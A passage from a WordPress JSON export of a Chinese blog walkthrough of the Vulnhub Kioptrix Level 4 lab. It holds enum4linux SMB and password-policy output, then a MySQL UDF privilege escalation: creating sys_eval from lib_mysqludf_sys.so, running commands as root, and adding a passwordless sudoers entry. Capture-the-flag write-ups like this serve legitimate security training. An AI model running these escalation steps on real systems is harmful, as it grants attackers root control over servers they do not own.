'enumalsgroups builtin'\n# [*] Enumerating domain groups\n# [+] Found 0 group(s) via 'enumdomgroups'\n\n#  =========================================\n# |    Shares via RPC on 192.168.244.141    |\n#  =========================================\n# [*] Enumerating shares\n# [+] Found 2 share(s):\n# IPC$:                                                                                                                                                                                                \n#   comment: IPC Service (Kioptrix4 server (Samba, Ubuntu))                               \n#   type: IPC                                                                             \n# print$:                                                                                 \n#   comment: Printer Drivers                                                               \n#   type: Disk        \n\n# [*] Testing share IPC$\n# [+] Mapping: OK, Listing: NOT SUPPORTED\n# [*] Testing share print$\n# [+] Mapping: DENIED, Listing: N\/A\n\n#  ============================================\n# |    Policies via RPC for 192.168.244.141    |\n#  ============================================\n# [*] Trying port 445\/tcp\n# [+] Found policy:\n# Domain password information:                                                                                                                                                                         \n#   Password history length: None                                                         \n#   Minimum password length: 5                                                             \n#   Maximum password age: not set                                                         \n#   Password properties:                                                                   \n#   - DOMAIN_PASSWORD_COMPLEX: false                                                       \n#   - DOMAIN_PASSWORD_NO_ANON_CHANGE: false                                               \n#   - DOMAIN_PASSWORD_NO_CLEAR_CHANGE: false                                               \n#   - DOMAIN_PASSWORD_LOCKOUT_ADMINS: false                                               \n#   - DOMAIN_PASSWORD_PASSWORD_STORE_CLEARTEXT: false                                     \n#   - DOMAIN_PASSWORD_REFUSE_PASSWORD_CHANGE: false                                       \n# Domain lockout information:                                                             \n#   Lockout observation window: 30 minutes                                                 \n#   Lockout duration: 30 minutes                                                           \n#   Lockout threshold: None                                                                                                                                                                            \n# Domain logoff information:                                                               \n#   Force logoff time: not set                                                             \n\n#  ============================================\n# |    Printers via RPC for 192.168.244.141    |\n#  ============================================\n# [+] No printers returned (this is not an error)\n\n# Completed after 1.31 seconds<\/code><\/pre>\n
Z\u795e<\/a>\u662f\u8fdb\u884c\u6dfb\u52a0\u4e86sys_eval<\/code>\u51fd\u6570\u8fdb\u884cUDF\u63d0\u6743\u7684\uff0c\u8be6\u60c5\u53c2\u8003\u8fd9\u4e2ablog<\/a><\/p>\n
create function sys_eval returns string soname 'lib_mysqludf_sys.so';\n# Query OK, 0 rows affected (0.00 sec)\nselect sys_eval("whoami");\n+--------------------+\n| sys_eval("whoami") |\n+--------------------+\n| root               | \n+--------------------+\n1 row in set (0.01 sec)<\/code><\/pre>\n
\u7136\u540e\u5c31\u53ef\u4ee5\u6267\u884c\u547d\u4ee4\u8fdb\u884c\u63d0\u6743\u4e86\uff01Z\u795e\u63a5\u4e0b\u6765\u5c31\u662f\u4fee\u6539sudoers\u6587\u4ef6\u4ece\u800c\u4fee\u6539\u6743\u9650\u4e86\uff01<\/p>\n
john ALL=NOPASSWD:ALL<\/code><\/pre>\n
\u540e\u9762\u6709\u62a5\u9519\u518d\u91cd\u65b0\u66f4\u6539\u6587\u4ef6\u62e5\u6709\u8005\u5373\u53ef\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"
Vulnhub–KIOPTRIX LEVEL 4 Description\u5927\u6982\u662f\u8868\u8ff0\u4f5c\u8005\u611f\u609f\uff0c\u5236\u4f5c\u8fd9\u4e9b\u9776\u573a\u76f8\u5f53 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24],"tags":[],"class_list":["post-324","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/324","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=324"}],"version-history":[{"count":3,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/324\/revisions"}],"predecessor-version":[{"id":328,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/324\/revisions\/328"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=324"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=324"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=324"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}